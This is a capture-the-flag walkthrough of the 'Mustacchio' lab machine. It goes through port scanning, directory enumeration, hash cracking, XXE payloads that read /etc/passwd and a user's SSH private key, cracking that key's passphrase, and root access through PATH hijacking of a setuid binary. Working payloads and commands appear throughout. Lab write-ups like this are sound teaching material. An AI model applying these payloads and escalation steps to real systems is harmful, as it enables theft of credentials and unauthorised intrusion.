Mustacchio

We start with a classical NMAP

nmap -sV 10.10.40.8

> Starting Nmap 7.60 (https://nmap.org) at 2021-06-13 16:30 CEST
> Nmap scan report for 10.10.40.8
> Host is up (0.053s latency).
> Not shown: 998 filtered ports
> PORT STATE SERVICE VERSION
> **22/tcp open ssh** OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
> **80/tcp open http** Apache httpd 2.4.18 ((Ubuntu))
> Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are two ports to look at.

I will start with the WEB port, so I navigated to the site and I tried with the “view source” on each page, but nothing interesting was there.

Then I tried the gobuster option using the https://github.com/danielmiessler/SecLists project lists.

gobuster dir --url 10.10.40.8 --wordlist SecLists/Discovery/Web-Content/raft-large-directories.txt

2021/06/13 16:36:34 Starting gobuster in directory enumeration mode
===
/images (Status: 301) [Size: 309] [--> http://10.10.40.8/images/]
/fonts (Status: 301) [Size: 308] [--> http://10.10.40.8/fonts/]
/custom (Status: 301) [Size: 309] [--> http://10.10.40.8/custom/]
/server-status (Status: 403) [Size: 275]

The only one interesting was /custom

Inside /custom there was a /js directory and inside a file called users.bak, which I downloaded.

I used sqlitebrowser to open the file and saw that there was a username and a hash, I cracked the hash with https://crackstation.net/

At this point I didn’t know where to go or try, so I let an NMAP with all ports running just in case, and voila!

nmap -sV -p- 10.10.40.8

Starting Nmap 7.60 (https://nmap.org) at 2021-06-13 16:46 CEST
Nmap scan report for 10.10.40.8
Host is up (0.054s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
8765/tcp open http nginx 1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The port 8765 with an nginx web server appeared.

I navigated to the http://10.10.40.8:8765/ and used the credentials found in the file users.bak (with the cracked hash).

In the comments I saw:

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mustacchio | Admin Page</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-eOJMYsd53ii+scO/bJGFsiCZc+5NDVN2yr8+0RDqr0Ql0h+rP48ckxlpbzKg
wra6" crossorigin="anonymous">
    <link rel="stylesheet" href="assets/css/home.css">
    <script type="text/javascript">
      //document.cookie = "Example=/auth/dontforget.bak";
      function checktarea() {
      let tbox = document.getElementById("box").value;
      if (tbox == null || tbox.length == 0) {
        alert("Insert XML Code!")
      }
  }
</script>
</head>
```

So, it was almost clear that they wanted us to execute a XXE on that form.

I tried with a basic one:

<!--?xml version="1.0" ?-->

```
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <comment>
  <name>John</name>
  <author>&example;</author>
  <com>hola</com>
 </comment>
```

It responded with:

> Comment Preview:
> Name: John
> Author : Doe
> Comment :
> hola

Trying with:

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
 <comment>
  <name>John</name>
  <author>&test;</author>
  <com>hola</com>
 </comment>
```

returned:

Comment Preview:

Name: John

Author :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

```
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
joe:x:1002:1002::/home/joe:/bin/bash
barry:x:1003:1003::/home/barry:/bin/bash
```

I tried then to find the user.txt flag into joes and barry's home directory, just barry worked:

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY test SYSTEM 'file:///home/barry/user.txt'>]>
 <comment>
  <name>John</name>
  <author>&test;</author>
  <com>hola</com>
 </comment>
```

I was lost trying to get any file, and while reviewing the source-code of the page, I noticed a message:

```
ead>
<body>

    <!-- Barry, you can now SSH in using your key!-->

    <img id="folhas" src="assets/imgs/pexels-alexander-tiupa-192136.jpg" alt="">

    <nav class="position-fixed top-0 w-100 m-auto ">
```

```
      <ul class="d-flex flex-row align-items-center justify-content-between h-100">
         <li>AdminPanel</li>
         <li class="mt-auto mb-auto"><a href="auth/logout.php">Logout</a></li>
      </ul>
   </nav>

   <section id="add-comment" class="container-fluid d-flex flex-column align-items-center
justify-content-center">
      <h3>Add a comment on the website.</h3>

      <form action=
```

So I tried with

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY test SYSTEM 'file:///home/barry/.ssh/id_rsa'>]>
 <comment>
  <name>John</name>
  <author>&test;</author>
  <com>hola</com>
 </comment>
```

And it brought me the private key:

```
Author : -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info:
AES-128-CBC,D137279D69A43E71BB7FCB87FC61D25E
jqDJP+blUr+xMlASYB9t4gFyMl9VugHQJAylGZE6J/b1nG57eGYOM8wdZvVMGrfN
bNJVZXj6VluZMr9uEX8Y4vC2bt2KCBiFg224B61z4XJoiWQ35G/bXs1ZGxXoNIMU
MZdJ7DH1k226qQMtm4q96MZKEQ5ZFa032SohtfDPsoim/7dNapEOujRmw+ruBE65
l2f9wZCfDaEZvxCSyQFDJjBXm07mqfSJ3d59dwhrG9duruu1/alUUvI/jM8bOS2D
Wfyf3nkYXWyD4SPCSTKcy4U9YW26LG7KMFLcWcG0D3l6l1DwyeUBZmc8UAuQFH7E
NsNswVykkr3gswl2BMTqGz1bw/1gOdCj3Byc1LJ6mRWXfD3HSmWcc/8bHfdvVSgQ
ul7A8ROlzvri7/WHlclA1SfcrFaUj8vfXi53fip9gBbLf6syOo0zDJ4Vvw3ycOie
TH6b6mGFexRiSaE/u3r54vZzL0KHgXtapzb4gDl/yQJo3wqD1FfY7AC12eUc9NdC
rcvG8XcDg+REDACTED////
```

I created a file called test1.rsa, and used:

```
sudo updatedb
locate ssh2john.py
cp /opt/john/ssh2john.py .
ssh2john.py test1.rsa > test1.hash
```

then I ran john test1.hash --wordlist=rockyou.txt

After some time it found the passphrase to use that private key.

I connected through SSH with:

ssh barry@10.10.40.8 -i test1.rsa
and inserted the passphrase when prompted to.

when I was inside the machine, I searched for history or something and I went to /home/joe. I found a binary called live_log, which has the setuid:

barry@mustacchio:/home/joe$ ls -larth
total 28K
-r**wsr-**xr-x 1 root root 17K Jun 12 15:48 live_log
drwxr-xr-x 2 joe joe 4.0K Jun 12 15:48 .
drwxr-xr-x 4 root root 4.0K Jun 12 15:48 ..

I tried to see what was inside live_log and executed a “strings live_log”, which showed me that it was doing something like:

```
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
```

So, the command tail was called without a full path. I went back to barry’s home directory and created a file called “tail”.

cd /home/barry
PATH=/home/barry:$(echo $PATH)

vim tail

Inside the file I used:

```
#!/bin/sh
echo $(whoami)
echo /root/root.txt
```

and then made it executable with chmod +x tail

I lastly ran from /home/barry:

$ ../joe/live_log

and it provided me with the root.txt flag.

It was a very fun room :)